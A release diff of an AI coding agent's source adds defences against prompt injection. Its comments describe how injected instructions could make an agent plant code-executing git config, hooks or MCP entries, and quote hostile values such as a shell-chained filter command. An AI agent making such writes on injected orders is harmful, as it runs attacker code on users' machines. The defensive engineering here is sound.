codeep 3.4.0 → 3.5.0

package/dist/utils/agent.js

@@ -37,6 +37,7 @@ function calculateDynamicTimeout(iteration, baseTimeout) {
     return Math.max(calculatedTimeout, 120000);
 }
 import { parseToolCalls, executeTool, createActionLog } from './tools.js';
+import { trustBearingWrite, forgetHooksDirectory, NO_CONFIRMER_REFUSAL } from './toolExecution.js';
 import { config } from '../config/index.js';
 import { supportsNativeTools } from '../config/providers.js';
 import { isMcpToolName, isVirtualMcpToolName } from './mcpRegistry.js';
@@ -55,6 +56,27 @@ function truncateToolResult(output, toolName) {
     const truncated = output.length - TOOL_RESULT_MAX_CHARS;
     return `${kept}\n[... ${truncated} chars truncated — use search_code or read specific sections if you need more]`;
 }
+// ─── Assistant turns in the flattened history ─────────────────────────────────
+/**
+ * The text an assistant turn is kept as in the history sent back next time.
+ *
+ * The loop stores each turn as plain text, and a turn that only called tools
+ * has none: Claude often skips the narration, and Opus 5.5 and Fable 5.1 move
+ * it into thinking blocks, which the stream parser does not keep. Stored as
+ * '', that turn is an empty non-final message on the next request, which
+ * Anthropic's Messages API refuses with a 400 ("all messages must have
+ * non-empty content except for the optional final assistant message").
+ * agentChat turns that 400 into the text-tool fallback, which sends the same
+ * history and fails the same way, so the run died on its second iteration.
+ * Naming the tools keeps the turn truthful and non-empty.
+ */
+export function assistantHistoryText(content, toolCalls) {
+    if (content.trim())
+        return content;
+    if (toolCalls.length > 0)
+        return `Using ${[...new Set(toolCalls.map(t => t.tool))].join(', ')}.`;
+    return '(no reply)';
+}
 // ─── Context window compression ───────────────────────────────────────────────
 const CONTEXT_COMPRESS_THRESHOLD = 200_000; // ~50K tokens, safe for all providers
 const RECENT_MESSAGES_TO_KEEP = 6; // Always preserve the last N messages verbatim
@@ -568,6 +590,13 @@ export async function runAgent(prompt, projectContext, options = {}) {
     const alwaysAllowedTools = opts.permissionMemory?.alwaysAllowed ?? new Set();
     // Track tools permanently rejected this session via reject_always
     const alwaysRejectedTools = opts.permissionMemory?.alwaysRejected ?? new Set();
+    // Files that decide what runs later and were refused for good this session.
+    // Kept apart from the tool set on purpose: the TUI's only "no" button answers
+    // reject_always, so saying no to one `.git/config` prompt would otherwise
+    // turn off delete_file — and every other use of that tool — for the rest of
+    // the run. Keyed by the resolved path, so one answer covers every spelling
+    // of the same file.
+    const alwaysRejectedPaths = opts.permissionMemory?.alwaysRejectedPaths ?? new Set();
     // Tools that require permission when onRequestPermission is set (configurable)
     const dangerousTools = buildDangerousTools(opts.extraDangerousTools);
     // Delegation handler: run a named (or generic) sub-agent in its own fresh
@@ -634,7 +663,7 @@ export async function runAgent(prompt, projectContext, options = {}) {
                 dryRun: opts.dryRun,
                 onRequestPermission: opts.onRequestPermission,
                 extraDangerousTools: opts.extraDangerousTools,
-                permissionMemory: { alwaysAllowed: alwaysAllowedTools, alwaysRejected: alwaysRejectedTools },
+                permissionMemory: { alwaysAllowed: alwaysAllowedTools, alwaysRejected: alwaysRejectedTools, alwaysRejectedPaths },
                 modelOverride,
                 onExecuteCommand: opts.onExecuteCommand,
                 fs: opts.fs,
@@ -690,13 +719,56 @@ export async function runAgent(prompt, projectContext, options = {}) {
         if (opts.allowedTools && !opts.allowedTools.includes(toolCall.tool)) {
             return refuse(`Tool "${toolCall.tool}" is not available to this sub-agent.`, `Tool ${toolCall.tool} is not allowed for this sub-agent. Use only: ${opts.allowedTools.join(', ')}.`);
         }
-        // Permission check for dangerous tools (only when callback is provided, e.g. ACP/Zed)
-        if (opts.onRequestPermission && requiresPermission(toolCall.tool, dangerousTools) && !alwaysAllowedTools.has(toolCall.tool)) {
-            const denied = () => refuse(`User rejected permission for ${toolCall.tool}`, `Tool ${toolCall.tool} was denied by user. Do not attempt this action again.`);
+        const denied = () => refuse(`User rejected permission for ${toolCall.tool}`, `Tool ${toolCall.tool} was denied by user. Do not attempt this action again.`);
+        // Writing a file that decides what runs later is code execution on a
+        // delay, not an edit: git runs `core.fsmonitor` itself on the next
+        // `git status` the status line makes, a `.codeep/hooks/` script runs on
+        // the next tool call, an MCP entry spawns a process. A prompt injection
+        // that gets one of these written has walked around every other gate, so
+        // the write is confirmed in EVERY confirmation mode — not only the tiers
+        // that happen to list write_file — and an "always allow" answer given for
+        // the tool never covers it. With nobody to ask, it fails the way a write
+        // the editor refused fails: proceeding quietly is the one outcome that
+        // cannot be taken back.
+        const trustBearing = trustBearingWrite(toolCall, projectContext.root || process.cwd());
+        if (trustBearing) {
+            if (!opts.onRequestPermission) {
+                const refusal = refuse(`Refused ${toolCall.tool} on ${trustBearing.path}: ${trustBearing.reason} ${NO_CONFIRMER_REFUSAL}`, `Tool ${toolCall.tool} was refused on ${trustBearing.path}. ${trustBearing.reason} Nobody could be asked to confirm it. Do not try again — tell the user to edit that file themselves.`);
+                recordAuditEvent(auditRoot, {
+                    ts: Date.now(), run: auditRun, tool: toolCall.tool, action: 'refused',
+                    target: describeAuditTarget(toolCall), outcome: 'refused',
+                    detail: `${trustBearing.path} decides what runs later and no confirmation was possible`,
+                });
+                return refusal;
+            }
+            // An "always deny" already given: for the tool, when the user really
+            // chose that in an ordinary prompt, or for this file.
+            if (alwaysRejectedTools.has(toolCall.tool) || alwaysRejectedPaths.has(trustBearing.file))
+                return denied();
+            const decision = classifyPermissionOutcome(await opts.onRequestPermission(toolCall, trustBearing));
+            // Neither answer is remembered for the TOOL. "Always allow" is not
+            // remembered at all: it was an answer about THIS file, and the next
+            // `.git/config` write must be asked about again. "Always deny" is
+            // remembered against the file — the fail-closed half of the same rule.
+            // Against the tool it would be a trap: the TUI offers Allow, Always
+            // Allow and Deny, and that Deny answers reject_always, so refusing one
+            // `.git/config` prompt would silently disable delete_file for the rest
+            // of the run.
+            if (decision !== 'allow-once' && decision !== 'allow-always') {
+                if (decision === 'deny-always')
+                    alwaysRejectedPaths.add(trustBearing.file);
+                return denied();
+            }
+        }
+        else if (opts.onRequestPermission && requiresPermission(toolCall.tool, dangerousTools) && !alwaysAllowedTools.has(toolCall.tool)) {
+            // Every other tool: the run's dangerous set decides, and only when
+            // there is a callback to ask through (e.g. ACP/Zed).
             // Skip without asking if permanently rejected this session
             if (alwaysRejectedTools.has(toolCall.tool))
                 return denied();
-            const outcome = await opts.onRequestPermission(toolCall);
+            // `null` and not nothing: this branch runs only when the call writes no
+            // such file, and saying so spares the dialog the second lookup.
+            const outcome = await opts.onRequestPermission(toolCall, null);
             // Fail CLOSED: allow ONLY on an explicit allow outcome; reject_* and
             // any malformed/unknown outcome deny (see classifyPermissionOutcome).
             const decision = classifyPermissionOutcome(outcome);
@@ -740,6 +812,12 @@ export async function runAgent(prompt, projectContext, options = {}) {
             }
             else {
                 try {
+                    // Runs in the editor's terminal instead of ours, so executeTool's
+                    // own invalidation never fires — but `git config core.hooksPath
+                    // .evil` moves this repository's hooks just the same. Drop the
+                    // cached answer here too, or the next write to the new hook
+                    // directory goes through unasked.
+                    forgetHooksDirectory();
                     const commandResult = await opts.onExecuteCommand(command, args, cwd);
                     toolResult = {
                         success: commandResult.exitCode === 0,
@@ -1063,7 +1141,7 @@ export async function runAgent(prompt, projectContext, options = {}) {
                 if (hasIncompleteWork) {
                     debug('Model wants to continue, prompting for next action');
                     incompleteWorkRetries++;
-                    messages.push({ role: 'assistant', content });
+                    messages.push({ role: 'assistant', content: assistantHistoryText(content, toolCalls) });
                     messages.push({
                         role: 'user',
                         content: 'Continue. Execute the tool calls now.'
@@ -1079,8 +1157,8 @@ export async function runAgent(prompt, projectContext, options = {}) {
                 debug(`Agent finished at iteration ${iteration}`);
                 break;
             }
-            // Add assistant response to history
-            messages.push({ role: 'assistant', content });
+            // Add assistant response to history — never empty (see assistantHistoryText).
+            messages.push({ role: 'assistant', content: assistantHistoryText(content, toolCalls) });
             // Execute tool calls
             const toolResults = [];
             for (const toolCall of toolCalls) {

package/dist/utils/agentChat.js

@@ -20,7 +20,7 @@ import { config, getApiKey, resolveBaseUrl } from '../config/index.js';
 import { loadProjectIntelligence, generateContextFromIntelligence } from './projectIntelligence.js';
 import { formatCommandIndex } from './commandIndex.js';
 import { syncProgress, generateProjectId } from './codeepCloud.js';
-import { getProviderAuthHeader, supportsNativeTools, getEffectiveMaxTokens, usesMaxCompletionTokens, requiresDefaultTemperature, modelRejectsSamplingParams, isNoApiKeyProvider, reasoningParamsFor, providerNoStreamWithTools } from '../config/providers.js';
+import { getProviderAuthHeader, supportsNativeTools, getEffectiveMaxTokens, usesMaxCompletionTokens, requiresDefaultTemperature, modelRejectsSamplingParams, isNoApiKeyProvider, reasoningParamsFor, providerNoStreamWithTools, minResponseTokensFor } from '../config/providers.js';
 import { recordTokenUsage, extractOpenAIUsage, extractAnthropicUsage } from './tokenTracker.js';
 import { parseOpenAIToolCalls, parseAnthropicToolCalls, parseToolCalls } from './toolParsing.js';
 import { formatToolDefinitions, getOpenAITools, getAnthropicTools } from './tools.js';
@@ -484,10 +484,17 @@ additionalTools, runtime) {
         // Provider-level guard (OpenAI GPT-5+) OR model-level guard — Anthropic's
         // Fable 5 / Opus 4.7+ reject temperature with a 400; omission is safe.
         const tempParam = (requiresDefaultTemperature(providerId) || modelRejectsSamplingParams(model)) ? {} : { temperature: config.get('temperature') };
-        // Thinking-effort tier → provider-shaped param ({} for 'auto'/unsupported).
-        const reasoningParam = reasoningParamsFor(providerId, model, config.get('reasoningEffort'));
+        const tier = config.get('reasoningEffort');
+        // Room for the answer after the thinking (Opus 5.5 thinks on every turn).
+        const responseBudget = Math.max(config.get('maxTokens'), 16384, minResponseTokensFor(model, tier));
         if (protocol === 'openai') {
-            const maxTok = getEffectiveMaxTokens(providerId, Math.max(config.get('maxTokens'), 16384));
+            const openAITools = getOpenAITools(additionalTools, allowedTools);
+            // Thinking-effort tier → provider-shaped param ({} for 'auto'/unsupported).
+            // This request carries tools, which GPT-6 Sol/Luna on Chat Completions
+            // accept only at reasoning_effort "none"; told so, reasoningParamsFor
+            // sends that for them whatever the tier.
+            const openAIReasoning = reasoningParamsFor(providerId, model, tier, { tools: openAITools.length > 0 });
+            const maxTok = getEffectiveMaxTokens(providerId, responseBudget);
             const tokParam = usesMaxCompletionTokens(providerId) ? { max_completion_tokens: maxTok } : { max_tokens: maxTok };
             endpoint = `${baseUrl}/chat/completions`;
             // OpenRouter-specific extras: request `usage` block in the response
@@ -537,8 +544,8 @@ additionalTools, runtime) {
             }
             body = {
                 model, messages: [{ role: 'system', content: systemPrompt }, ...messages],
-                tools: getOpenAITools(additionalTools, allowedTools), tool_choice: 'auto', stream: useStreaming,
-                ...tempParam, ...tokParam, ...reasoningParam,
+                tools: openAITools, tool_choice: 'auto', stream: useStreaming,
+                ...tempParam, ...tokParam, ...openAIReasoning,
                 // Ask ALL OpenAI-compatible providers to emit a usage block in the
                 // stream — without this most (DeepSeek/Kimi/Grok/Qwen/GLM/…) send no
                 // usage on streamed responses and the whole turn records zero tokens.
@@ -568,7 +575,8 @@ additionalTools, runtime) {
                 system: [{ type: 'text', text: systemPrompt, cache_control: { type: 'ephemeral' } }],
                 messages,
                 tools: cachedTools, stream: useStreaming,
-                ...tempParam, ...reasoningParam, max_tokens: getEffectiveMaxTokens(providerId, Math.max(config.get('maxTokens'), 16384)),
+                ...tempParam, ...reasoningParamsFor(providerId, model, tier),
+                max_tokens: getEffectiveMaxTokens(providerId, responseBudget),
             };
         }
         const response = await fetch(endpoint, {
@@ -701,10 +709,14 @@ export async function agentChatFallback(messages, systemPrompt, onChunk, abortSi
         // Provider-level guard (OpenAI GPT-5+) OR model-level guard — Anthropic's
         // Fable 5 / Opus 4.7+ reject temperature with a 400; omission is safe.
         const tempParam = (requiresDefaultTemperature(providerId) || modelRejectsSamplingParams(model)) ? {} : { temperature: config.get('temperature') };
+        const tier = config.get('reasoningEffort');
         // Thinking-effort tier → provider-shaped param ({} for 'auto'/unsupported).
-        const reasoningParam = reasoningParamsFor(providerId, model, config.get('reasoningEffort'));
+        // No `tools` array goes out on this path — the tools are text in the
+        // prompt — so GPT-6 Sol/Luna keep the user's tier here.
+        const reasoningParam = reasoningParamsFor(providerId, model, tier);
+        const responseBudget = Math.max(config.get('maxTokens'), 16384, minResponseTokensFor(model, tier));
         if (protocol === 'openai') {
-            const maxTok = getEffectiveMaxTokens(providerId, Math.max(config.get('maxTokens'), 16384));
+            const maxTok = getEffectiveMaxTokens(providerId, responseBudget);
             const tokParam = usesMaxCompletionTokens(providerId) ? { max_completion_tokens: maxTok } : { max_tokens: maxTok };
             endpoint = `${baseUrl}/chat/completions`;
             body = {
@@ -727,7 +739,7 @@ export async function agentChatFallback(messages, systemPrompt, onChunk, abortSi
                     ...messages,
                 ],
                 stream: Boolean(onChunk), ...tempParam, ...reasoningParam,
-                max_tokens: getEffectiveMaxTokens(providerId, Math.max(config.get('maxTokens'), 16384)),
+                max_tokens: getEffectiveMaxTokens(providerId, responseBudget),
             };
         }
         const response = await fetch(endpoint, {

package/dist/utils/checkpoints.js

@@ -38,6 +38,7 @@ import { isSafeProjectWriteTarget, writeProjectFile } from './projectPaths.js';
 import { join } from 'path';
 import { randomUUID } from 'crypto';
 import { execSync } from 'child_process';
+import { hardenedGitEnv } from './git.js';
 function getCheckpointsDir(workspaceRoot) {
     return join(workspaceRoot, '.codeep', 'checkpoints');
 }
@@ -49,6 +50,8 @@ function readGitHead(workspaceRoot) {
             encoding: 'utf-8',
             stdio: ['ignore', 'pipe', 'ignore'],
             timeout: 2000,
+            // Read-only and Codeep's own, so the repository's hooks stay out of it.
+            env: hardenedGitEnv({ cwd: workspaceRoot, noHooks: true }),
         }).trim();
         return out || undefined;
     }

package/dist/utils/codeReview.js

@@ -3,7 +3,7 @@
  */
 import { existsSync, readFileSync, readdirSync } from 'fs';
 import { join, extname, relative } from 'path';
-import { getChangedFiles } from './git.js';
+import { getChangedFilesResult } from './git.js';
 import { loadReviewConfig, globToRegExp } from './reviewConfig.js';
 // Built-in code patterns that indicate issues. Each has a stable `id` so it can
 // be turned off per-project via `.codeep/review.json` { "disable": ["..."] }.
@@ -274,26 +274,24 @@ function analyzeFile(filePath, content, projectRoot, rules, disabled) {
     }
     return issues;
 }
-/**
- * Get files to review
- */
 function getFilesToReview(projectRoot, specificFiles) {
     if (specificFiles && specificFiles.length > 0) {
-        return specificFiles
-            .map(f => join(projectRoot, f))
-            .filter(f => existsSync(f));
+        return {
+            files: specificFiles.map(f => join(projectRoot, f)).filter(f => existsSync(f)),
+            source: 'specific',
+        };
     }
-    // Get changed files from git
-    const changedFiles = getChangedFiles(projectRoot);
-    if (changedFiles.length > 0) {
-        return changedFiles.map(f => join(projectRoot, f));
+    // Get changed files from git. Called ONCE — the scope line below used to
+    // call getChangedFiles() a second time, which is a second `git config
+    // --list` plus a second `git status` on every review.
+    const changed = getChangedFilesResult(projectRoot);
+    if (changed.files.length > 0) {
+        return { files: changed.files.map(f => join(projectRoot, f)), source: 'git' };
     }
     // Otherwise, review src directory
     const srcDir = join(projectRoot, 'src');
-    if (existsSync(srcDir)) {
-        return getAllSourceFiles(srcDir);
-    }
-    return getAllSourceFiles(projectRoot);
+    const files = existsSync(srcDir) ? getAllSourceFiles(srcDir) : getAllSourceFiles(projectRoot);
+    return { files, source: 'scan', gitError: changed.error };
 }
 /**
  * Get all source files in directory
@@ -341,7 +339,8 @@ export function performCodeReview(projectContext, specificFiles) {
         ...CODE_PATTERNS.filter((p) => !disabled.has(p.id)),
         ...(config?.rules ?? []),
     ];
-    let filesToReview = getFilesToReview(projectRoot, specificFiles);
+    const selection = getFilesToReview(projectRoot, specificFiles);
+    let filesToReview = selection.files;
     // Apply include/exclude globs (posix-relative paths). Empty include = all.
     if (config && (config.include.length > 0 || config.exclude.length > 0)) {
         const inc = config.include.map(globToRegExp);
@@ -356,17 +355,23 @@ export function performCodeReview(projectContext, specificFiles) {
         });
     }
     const allIssues = [];
-    // Determine scope — mirrors the branching in getFilesToReview so the user
-    // sees exactly which branch ran.
+    // Determine scope — reports the branch getFilesToReview actually took,
+    // rather than re-deriving it, so the two can no longer disagree.
+    const count = `${filesToReview.length} file${filesToReview.length === 1 ? '' : 's'}`;
     let scope;
-    if (specificFiles && specificFiles.length > 0) {
-        scope = `specific file${specificFiles.length === 1 ? '' : 's'} (${filesToReview.length})`;
+    if (selection.source === 'specific') {
+        scope = `specific file${specificFiles?.length === 1 ? '' : 's'} (${filesToReview.length})`;
+    }
+    else if (selection.source === 'git') {
+        scope = `unstaged git changes (${count})`;
     }
-    else if (getChangedFiles(projectRoot).length > 0) {
-        scope = `unstaged git changes (${filesToReview.length} file${filesToReview.length === 1 ? '' : 's'})`;
+    else if (selection.gitError) {
+        // Not "no git changes": git would not run here, so nobody knows whether
+        // there are any. Say which, and say why — the message carries the fix.
+        scope = `full src/ scan — git could not list the changes: ${selection.gitError} (${count})`;
     }
     else {
-        scope = `full src/ scan — no git changes (${filesToReview.length} file${filesToReview.length === 1 ? '' : 's'})`;
+        scope = `full src/ scan — no git changes (${count})`;
     }
     for (const filePath of filesToReview) {
         try {

package/dist/utils/git.d.ts

@@ -1,10 +1,41 @@
-import { ActionLog } from './tools';
+import type { ActionLog } from './tools';
 export interface GitStatus {
     isRepo: boolean;
     branch?: string;
     hasChanges?: boolean;
     ahead?: number;
     behind?: number;
+    /**
+     * Why there is no branch here — a GitHardeningError, or git itself failing.
+     * Declared because getGitStatus was already filling it through an
+     * `as GitStatus` cast that the compiler could not check: the field existed
+     * at runtime, nothing in the type said so, and the status line in
+     * renderer/main.ts reads `.branch` only — so a refusal showed up as the
+     * branch silently disappearing. Written for the user; show it where the
+     * branch would go.
+     *
+     * Every way git can fail lands here, including the ordinary ones. The
+     * commonest is a brand-new `git init` with no commit yet, where `git
+     * rev-parse --abbrev-ref HEAD` answers `fatal: ambiguous argument 'HEAD'`
+     * (git 2.54) — which is why nothing should put this in front of the user
+     * as an instruction. Use `refusal` for that.
+     */
+    error?: string;
+    /**
+     * Set ONLY when the hardening refused to run git here, and never for an
+     * ordinary git failure. The message names the config key and the
+     * `git config --unset` that clears it, so it is the one the TUI shows
+     * verbatim (see gitRefusalNotice in renderer/main.ts).
+     *
+     * This field shipped dead in the first cut of the hotfix: main.ts read
+     * `status.refusal`, `GitStatus` never declared it and getGitStatus never
+     * set it, so the warning it exists to raise never fired once and the only
+     * symptom of a refused repository was the branch quietly vanishing from
+     * the header — the exact symptom that notice was written to remove. When
+     * this is set, `error` carries the same text, so callers that only know
+     * about `error` still say something useful.
+     */
+    refusal?: string;
 }
 export interface GitDiffResult {
     success: boolean;
@@ -17,8 +48,201 @@ export interface GitCommitResult {
     error?: string;
 }
 /**
- * Check if current directory is a git repository
+ * Raised instead of handing git an environment that the config scan below
+ * could not finish building. Every caller in this file catches it and reports
+ * `error.message`, which is written for the user rather than for a log.
+ */
+export declare class GitHardeningError extends Error {
+    constructor(message: string);
+}
+/**
+ * The exact `filter.<driver>.{clean,smudge,process}` command lines that the
+ * well-known content-filter integrations write into a repository's own
+ * config. A repo-scope filter whose value is one of these is left RUNNING;
+ * every other one refuses the call (see the filter rule below).
+ *
+ * These are whole-value comparisons against a frozen list of literals, never
+ * a prefix or a substring test, and that is the point rather than a detail.
+ * Git runs a filter command through a shell, so `git-lfs clean -- %f; curl
+ * https://…|sh` STARTS WITH an allowlisted line and would sail through a
+ * `startsWith` check while doing something else entirely; `%f` in the middle
+ * of a longer value is the same hole for a substring check. Whole-value
+ * equality against literals also means "contains no shell metacharacter" is a
+ * property of this list rather than something that has to be re-checked at
+ * runtime — and the suite asserts that property so a future entry cannot
+ * quietly break it.
+ *
+ * These are the values with the program named BARE. The same integrations
+ * also spell the program as an absolute path, which is the machine's and not
+ * a string this file can pin — see isSafeContentFilterCommand(), which takes
+ * the basename apart and compares it against this same list.
+ *
+ * A spelling that is NOT accepted in any form: `"<abs path to python>" -m
+ * nbstripout`, which newer nbstripout installers write. Its program is
+ * `python`, so there is nothing to recognise in it — the argument tail is
+ * what says what it will do, and pinning `-m nbstripout` would pin a
+ * mechanism for running any module at all. Those repositories get the
+ * refusal and its `--unset`, which is the fail-closed half of the policy
+ * working as intended rather than an oversight.
+ */
+export declare const SAFE_CONTENT_FILTER_COMMANDS: ReadonlySet<string>;
+/**
+ * Whether a repo-scope `filter.<driver>.{clean,smudge,process}` value is one
+ * of the well-known integrations — accepting the spelling that names the
+ * program by an ABSOLUTE PATH, which the frozen list above cannot hold.
+ *
+ * `/usr/local/bin/git-lfs filter-process` is what a `git lfs install` writes
+ * on a machine where git-lfs is not the one on PATH, and git-annex writes the
+ * same shape. Those are ordinary working repositories, and the whole-value
+ * list refused every git call in them — the fail-closed policy landing on the
+ * integrations it was written to keep running.
+ *
+ * What is compared is the program's BASENAME plus the argument tail EXACTLY
+ * as the literal spells it, so every property of the list survives the
+ * relaxation. `/usr/local/bin/git-lfs clean -- %f; curl …|sh` fails on its
+ * bytes before anything is compared; `… clean -- %f --extra` and `…
+ * FILTER-PROCESS` produce a tail that is not in the list; a leading command
+ * puts something other than an absolute path in the first word. There is no
+ * prefix matching anywhere in here, in either half.
+ *
+ * And the path has to name the program PATH ALREADY RESOLVES that basename
+ * to, which is the check that keeps this from being a way in. Without it the
+ * repository picks the program: it ships an executable called `git-lfs` — or
+ * `cat`, which is on the list with no arguments at all — points the filter at
+ * its own checkout, and git runs it. That is not a relaxation of the
+ * allowlist, it is the end of it. With it, an absolute path can only name the
+ * same file the bare spelling on the list would have run anyway, so the
+ * repository gains nothing by writing it out.
+ *
+ * `env` is the environment the REAL git call will run under, so the PATH
+ * asked here is the PATH the shell git spawns would search.
+ */
+export declare function isSafeContentFilterCommand(value: string, env: NodeJS.ProcessEnv): boolean;
+/**
+ * Whether `<key>=<value>` is a config key that makes git RUN a program.
+ *
+ * Exported for utils/shell.ts, which has to answer the same question about a
+ * `git -c <key>=<value>` an agent typed. Keeping one answer is the point:
+ * these are exactly the keys this file spends its length neutralising, and a
+ * second hand-written list in the command validator would drift away from
+ * this one the first time a rule is added here.
+ *
+ * Both halves matter. GIT_EXECUTING_CONFIG is the always-on set, so a `-c
+ * core.fsmonitor=<program>` would otherwise WIN — git reads its own `-c`
+ * after the GIT_CONFIG_* pairs (verified, git 2.54). REPO_EXECUTING_RULES is
+ * the scope-aware set, and `-c` is not a scope the scan can see at all.
  */
+export declare function isExecutingConfigKey(key: string): boolean;
+/**
+ * How many submodule configs one call will read, and how far the enumeration
+ * follows submodules of submodules.
+ *
+ * Both are bounds on a tree the REPOSITORY owns — a checkout can declare as
+ * many submodules, nested as deeply, as whoever prepared it liked. Past
+ * either one the call is REFUSED rather than partly scanned: "we looked at
+ * some of your submodules" is a fail-open dressed as a limit. Every other
+ * bound in this pass throws for the same reason, which is the half that used
+ * to be missing — the depth guard and the directory-read failure both used
+ * to `return`, so a tree nested one level too deep, or a `.git/modules` we
+ * had no permission to read, silently became "this repository has no
+ * submodules".
+ *
+ * The count was 512, and that was a wall rather than a backstop: a
+ * superproject past it was refused forever, with a message naming nothing
+ * the user could change. 2048 is an order of magnitude past the largest real
+ * superproject, so only a tree built to reach it does. It is not raised
+ * further because every config read is one more `-c include.path=` argument
+ * on one command line, and a Windows command line stops at 32KB; and the
+ * message now names the two things that get the user moving again.
+ */
+export declare const MAX_SUBMODULE_CONFIGS = 2048;
+export interface HardenedGitEnvOptions {
+    /**
+     * The repository the git call will run in — the same `cwd` the spawn gets.
+     * Its config is scanned so repo-supplied programs can be neutralised, so a
+     * caller that passes the wrong one gets the wrong repository's protection.
+     */
+    cwd?: string;
+    /**
+     * Disable the repository's hooks. Only for the commands Codeep runs BY
+     * ITSELF — status, diff, rev-parse, show, ls-files, log — where the user
+     * never asked for a hook to run. Commands the user triggered (`/commit`,
+     * `/git-commit`, the agent auto-commit, a branch switch) leave it false, so
+     * lint-staged, commit-signing hooks and Codeep's own review hook run
+     * exactly as they would in the user's terminal.
+     *
+     * What justifies leaving them on is the approval, not a claim that a hook
+     * cannot get onto disk. The user asked for this commit or this checkout, so
+     * the repository's hooks run for it exactly as they would if they had typed
+     * the command themselves — and that is the whole argument. The write gate
+     * in utils/toolExecution.ts raises a confirmation for a hook a MODEL writes
+     * with write_file; it does not, and does not claim to, cover a shell
+     * command the user approved, where `node setup.cjs`, `cp`, `tee` or a
+     * redirect writes the same file with nothing to prompt about (reproduced
+     * twice against git 2.54). See the comment above that gate, which says the
+     * same thing from the other side.
+     */
+    noHooks?: boolean;
+    /**
+     * The environment to harden, defaulting to this process's. A caller with
+     * its own overrides must pass them HERE rather than spreading them over the
+     * result: their `GIT_CONFIG_COUNT` would replace ours and silently drop
+     * every override above their count.
+     */
+    base?: NodeJS.ProcessEnv;
+}
+/**
+ * The environment for a git child process, with every command-executing config
+ * key neutralised. Pass it to EVERY git spawn — including the read-only ones:
+ * `git status` is the call that runs `core.fsmonitor` and a `filter.<d>.clean`.
+ *
+ * It costs one `git config --list` plus one `git ls-files` per call —
+ * measured 13.6ms here in a plain repository at its root, 19.7ms in one with
+ * a submodule, 28.3ms with fifty of them and 47.7ms in a 100k-file checkout
+ * with none (see listSubmoduleConfig for where each part goes, and for why
+ * the index is read even in a repository that declares no submodules) — so build
+ * it ONCE per function and hand the same object to every spawn inside. There is
+ * deliberately no cache across calls: the scan's whole job is to notice what
+ * the repository's config says RIGHT NOW, and a hostile `.git/config` written
+ * after a cache warmed would be the one it failed to neutralise. Nothing needs
+ * one either — the only repeated caller, the status-line branch in
+ * renderer/main.ts, already caches its own result and re-reads only when the
+ * project moved or an agent run finished.
+ *
+ * Environment variables are the USER's, not the repository's, so this removes
+ * exactly one and leaves the rest:
+ *
+ * - `GIT_CONFIG_PARAMETERS` is deleted. Git reads it AFTER the
+ *   `GIT_CONFIG_COUNT` pairs and it wins, which silently disables this whole
+ *   function (verified). Nothing sets it but git itself, for its own children.
+ * - `GIT_EXTERNAL_DIFF`, `GIT_SSH_COMMAND`, `GIT_ASKPASS`, `GIT_PROXY_COMMAND`
+ *   name programs, but ones the user exported for their own git. Codeep's diff
+ *   reads pass `--no-ext-diff`, which beats `GIT_EXTERNAL_DIFF` anyway.
+ * - `GIT_DIR`, `GIT_WORK_TREE`, `GIT_INDEX_FILE`, `GIT_COMMON_DIR` are kept
+ *   because a hook exports them: the pre-commit hook Codeep installs runs
+ *   `codeep review`, and `git diff --cached` there must read the hook's
+ *   TEMPORARY index to see what is really being committed.
+ * - `GIT_CONFIG_GLOBAL` / `GIT_CONFIG_SYSTEM` / `GIT_ALTERNATE_OBJECT_DIRECTORIES`
+ *   are kept: the scan above runs under this same environment, so it sees
+ *   whatever they make git see.
+ *
+ * Anyone who can set environment variables on this process already owns it.
+ *
+ * THROWS `GitHardeningError` rather than return a half-built environment when
+ * the config scan cannot complete, or when the repository named a program no
+ * override can switch off. The scan used to swallow every error and fall back
+ * to the always-on pairs alone, so a repository that padded its `.git/config`
+ * past the read buffer turned the entire repo-scope layer off in silence and
+ * ran its `filter.<d>.clean` on the next `git status`. Every caller in this
+ * file catches it and degrades: the status line loses its branch, `/commit`,
+ * `@git` and the review path show `error.message`, which is written for the
+ * user. A NEW caller has to do the same, or the refusal reaches them as a
+ * crash — and a caller inside a promise executor that does not catch it never
+ * settles at all.
+ */
+export declare function hardenedGitEnv(options?: HardenedGitEnvOptions): NodeJS.ProcessEnv;
+/** A repository whose git Codeep is willing to run. Refusals answer `false`;
+ *  callers that can show a reason use the functions below, which carry it. */
 export declare function isGitRepository(cwd?: string): boolean;
 /**
  * Get current git status
@@ -28,8 +252,25 @@ export declare function getGitStatus(cwd?: string): GitStatus;
  * Get git diff (staged or unstaged)
  */
 export declare function getGitDiff(staged?: boolean, cwd?: string): GitDiffResult;
+export interface GitChangedFilesResult {
+    files: string[];
+    /**
+     * Why the list is empty because git would not run, rather than because
+     * nothing changed. The two read the same through getChangedFiles() below,
+     * and a caller that gates work on "are there changes?" — the review
+     * pipeline in utils/codeReview.ts does — would otherwise quietly review
+     * nothing in a repository whose config Codeep refuses to run git in.
+     */
+    error?: string;
+}
+/**
+ * Get list of changed files, with the reason when there are none.
+ */
+export declare function getChangedFilesResult(cwd?: string): GitChangedFilesResult;
 /**
- * Get list of changed files
+ * Get list of changed files. Empty on any failure — see
+ * getChangedFilesResult() when the difference between "nothing changed" and
+ * "git was refused" matters.
  */
 export declare function getChangedFiles(cwd?: string): string[];
 /**
@@ -41,7 +282,24 @@ export declare function suggestCommitMessage(diff: string): string;
  */
 export declare function createCommit(message: string, cwd?: string): GitCommitResult;
 /**
- * Stage all changes
+ * Stage all changes, with the reason when it did not happen.
+ *
+ * The reason matters most in a repository with a REQUIRED content filter —
+ * git-crypt, git-lfs, any repo-local `filter.<d>.required = true`. The
+ * repo-scope layer empties that driver's `clean` command and deliberately
+ * leaves `required` alone, so git aborts with `fatal: <file>: clean filter
+ * '<d>' failed` and exit 128 rather than writing the unfiltered content. That
+ * is the intended outcome (see the filter rule above: the alternative was
+ * plaintext secrets in the object database), and it is only useful if the
+ * user gets to read it — `stdio: 'ignore'` here used to throw the sentence
+ * away and leave them with "Failed to stage changes".
+ */
+export declare function stageAllResult(cwd?: string): {
+    success: boolean;
+    error?: string;
+};
+/**
+ * Stage all changes. See stageAllResult() when the reason matters.
  */
 export declare function stageAll(cwd?: string): boolean;
 /**